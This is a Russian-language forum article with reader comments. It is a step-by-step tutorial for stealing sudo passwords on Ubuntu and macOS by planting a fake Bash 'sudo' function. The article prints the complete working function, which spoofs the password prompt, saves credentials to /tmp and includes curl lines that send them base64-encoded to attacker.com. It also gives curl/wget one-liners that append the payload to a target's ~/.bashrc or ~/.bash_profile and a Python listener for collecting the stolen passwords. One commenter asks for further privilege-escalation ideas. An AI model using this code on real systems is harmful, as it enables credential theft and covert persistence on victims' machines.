Статья Как украсть sudo пароль Ubuntu и macOS без каких-либо эксплойтов/кряка

С помощью простого трюка социальной инженерии, пароли sudo могут быть захвачены в считанные секунды без ведома цели. Пароли могут быть сохранены в файл или будут отправляться к другому компьютеру.

После эксплуатирования системы, пентестеры и хакеры часто начинают атаки эскалации привилегий (privesc). Такие атаки включают эксплуатацию ядра и фишинг паролей. Рекомендуемая здесь атака использует подход социальной инженерии, используя функции Bash для эмуляции функциональности команды sudo.

Как Sudo должен работать

Давайте используем следующие команды whoami и id в качестве примера. Если мы введем whoami в терминал, он вернет текущее имя пользователя.
Код:
whoami
tokyoneon
Команда id вернет uid пользователя (-u), уникальный идентификатор, назначенный каждому пользователю в системе. По умолчанию в системах Debian и Ubuntu обычному пользователю (не root) присваивается uid 1000 (показано ниже). Аналогично, в mac OS обычному пользователю присваивается 501 uid.
Код:
id -u
1000
При добавлении sudo повышается и выполняется предоставленная команда с правами root (uid 0). Это стандартное и нормальное поведение для систем Unix.
Код:
sudo id -u
0
Команда type может использоваться для определения того, как предоставленная команда интерпретируется оболочкой.
Код:
type sudo
sudo is /usr/bin/sudo
В этом случае sudo интерпретируется как /usr/bin/sudo. Это тоже стандартное поведение. Когда кто-то выполняет команду sudo (например, sudo whoami), они по существу делают следующее.
Код:
/usr/bin/sudo /usr/bin/whoami
root
Как Работают Функции Bash

Способ интерпретации sudo (или любой команды) может быть изменен таким образом, чтобы он был прозрачным для пользователя. Как и псевдонимы Bash, сложные функции можно импортировать в оболочку. Возьмите приведенный ниже GIF в качестве примера.


Мы видим, что выполнение обычной команды apt-get update завершается неудачей, потому что "sudo" больше не интерпретируется как прямая ссылка на реальный двоичный файл sudo. Теперь это функция, которая печатает произвольный текст. Этим очень легко злоупотребить. Функция "sudo" может вести себя точно так же, как настоящий sudo, при записи и эксфильтрации пароля цели.

У Вас Уже Должен Быть Удаленный Доступ

В данной статье предполагается, что удаленный доступ к целевой системе установлен. С macOS target, это может быть достигнуто с необнаруживаемой полезной нагрузкой, USB drop attack или USB Rubber Ducky. Серверы Ubuntu и Debian также могут использоваться с использованием различных SSH и серверных уязвимостей.

Создание вредоносной функции Bash

Этот вид злоупотребления лучше демонстрируется в нижеследующей функции.
Код:
function sudo () {
  # A "realsudo" variable is created. It calls the `which` command to locate
  # the path to the real sudo binary. This is used later in the function to
  # execute the target's desired command.
  realsudo="$(which sudo)"

  # The `read` command will prompt (`-p`) the target with a convincing password
  # request. The `-s` argument hides the input password, just as the real
  # sudo command would. The target password is then set in the "inputPasswd"
  # variable.
  read -s -p "[sudo] password for $USER: " inputPasswd

  # There are two `printf` commands here, separated by a semicolon.
  # The first simply prints a new line in the terminal, as the real sudo
  # does. The second writes the target's username and password to a
  # file called "hackedPasswd.txt" in the /tmp directory.
  printf "\n"; printf '%s\n' "$USER : $inputPasswd" >/tmp/hackedPasswd.txt

  # As an alternative to writing the password to the /tmp directory,
  # it can be exfiltrated to the attacker's server. Uncomment the below
  # "encoded" and "curl" lines to enable this function. The password
  # is encoded with `base64` to make it easier to transmit in the URL.
  # encoded=$(printf '%s' "$inputPasswd" | base64) >/dev/null 2>&1
  # curl -s "http://attacker.com/$USER:$encoded" >/dev/null 2>&1

  # The `-S` option allows users to input their sudo password using the command
  # line. This is used to run an arbitrary `exit` command (`-c`) as the root
  # user (`-u`) to unlock the sudo timeout function. This command and its
  # output are hidden (/dev/null) from the target. It's only here to allow
  # sudo usage for future commands.
  # For more on sudo timeouts and /dev/null, see:
  # https://itsfoss.com/change-sudo-password-timeout-ubuntu/
  # https://stackoverflow.com/questions/10508843/what-is-dev-null-21
  $realsudo -S <<< "$inputPasswd" -u root bash -c "exit" >/dev/null 2>&1

  # With the sudo timeout engaged, privileged commands can be run without
  # prompting the user for a password. This line will execute the target's
  # desired command.
  $realsudo "${@:1}"
}
Давайте посмотрим, как эта функция выглядит для цели.


Как мы видим, цель по-прежнему запрашивается с запросом пароля при попытке установить программное обеспечение.
Захваченный пароль сохраняется в файле /tmp/hackedPasswd.txt

Целевые Системы Debian И Ubuntu

В системах Debian и Ubuntu, когда открывается новый терминал или оболочка, выполняется файл ~/.bashrc . Этот файл (который может быть изменен пользователями без root) обычно определяет полезные атрибуты, такие как псевдонимы, ограничение истории и переменные цвета. Он также может быть использован для импорта вредоносных функций Bash. Это будет работать для серверов Debian, Ubuntu и систем macOS.

Для удобства я загрузил вредоносную функцию sudo на свою страницу . Его можно загрузить в систему цели, используя следующую команду.
Код:
curl 'https://git.io/fhNWm' >> ~/.bashrc
Это добавит ( >> ) функцию sudo в нижнюю часть цели .bashrc файла. С этого момента, когда цель входит в свой сервер (например, SSH) и выполняет команду sudo, отправленный пароль в терминал будет сохранен в каталоге /tmp. Кроме того, если curl не установлен в целевой системе, можно использовать wget.
Код:
wget -O- 'https://git.io/fhNWm' >> ~/.bashrc
Целевые системы macOS

Этот вид атаки менее эффективен против пользователей mac OS. Просто потому, что они не так часто открывают терминал и выполняют команды с повышенными правами. Пользователям MacOS команда sudo не нужна так часто, как пользователям VPS или Ubuntu desktop. Тем не менее, я покажу, как настроить это против цели macOS, поскольку это может быть полезно для некоторых пентестеров, исследующих каждый возможный маршрут, чтобы повысить их бэкдор.

Как ~/.bashrc , macOS выполняют при открытии терминала. В этом файле могут храниться вредоносные хэш-функции. Используйте приведенную ниже команду wget для импорта функции в профиль bash цели.
Код:
wget -O- 'https://git.io/fhNWm' >> ~/.bash_profile
Когда цель открывает терминал и выполняет команды с sudo, пароль будет сохранен в каталоге /tmp. Это показано на скриншоте ниже.

29819


Как Вытащить пароль

В дополнение к сохранению пароля в каталоге / tmp желательно чтобы пароль был отправлен на другой компьютер или сервер. Правильный прослушиватель PHP может быть настроен для перехвата данных, содержащих пароль.

Я решил взять немного неортодоксальный подход и предложить быстрое и грязное решение. Для этого метода требуется простой сервер Python3, настроенный в системе Kali злоумышленника. http.server (- m) создаст веб-сервер с использованием порта 80.
Код:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
Есть команды для кодирования и кражи паролей, записанных в функции sudo. Он отключен по умолчанию и должен быть раскомментирован, чтобы включить его.
Код:
encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;
Пароль закодирован с помощью base64, чтобы упростить отправку URL-адреса. Curl используется для запроса GET на сервер злоумышленника, расположенном на "attacker.com" домене. Этот домен следует изменить на локальный IP-адрес злоумышленника (192.168.1.X) или IP-адрес VPS. Ошибки и выходные данные, генерируемые командой curl, принудительно вводятся в /dev / null с перенаправлением 2>&1. Это предотвращает случайное сообщение curl об ошибках в терминале, если сервер злоумышленника по какой-либо причине недоступен.

Имя пользователя и пароль цели фактически отправляются в URL-адресе. Представьте, что вы просите "http://192.168.1.X/tokyoneon:sUp3R-S3cUre_P@$$w0000rD!." Запрос, безусловно, не удастся, такой веб-страницы нет. Однако закодированный пароль будет сохранен в журнале ошибок злоумышленника. Ниже приведен пример такой ошибки.
Код:
Serving HTTP on 0.0.0.0 port 80 ...
127.0.0.1 - - [27/Feb/2019 00:05:12] code 404, message File not found
127.0.0.1 - - [27/Feb/2019 00:05:12] "GET /user:c1VwM1ItUzNjVXJlX1BAJCR3MDAwMHJEIQ== HTTP/1.1" 404 -

echo 'c1VwM1ItUzNjVXJlX1BAJCR3MDAwMHJEIQ==' | base64 -d
sUp3R-S3cUre_P@$$w0000rD!

Источник
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Эксплойты не крадут пароли. эксплойт сразу root привилегии даст и выполнение команд.

А в обще хорошая статья мне нравится.
 

pp11

Green Team
16.09.2018
201
82
BIT
1
Спасибо за статью. Очень много применений можно найти замене команды на вредоносную.
 

masscontrolx

Green Team
02.03.2018
43
8
BIT
0
отличная статья, вот только сейчас на vps у себя пробовал применить, под обычным юзером запись в bashrc Permission denied (
что еще можно сделать если листинг дирректорий до корневой доступен? /etc/passwd читается, охото себя самого поломать ) Linux Kernel 2.6.32.
Dyrti последний пробовал, пользователя не добавляет, так как после прошлого года уже было обновление
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!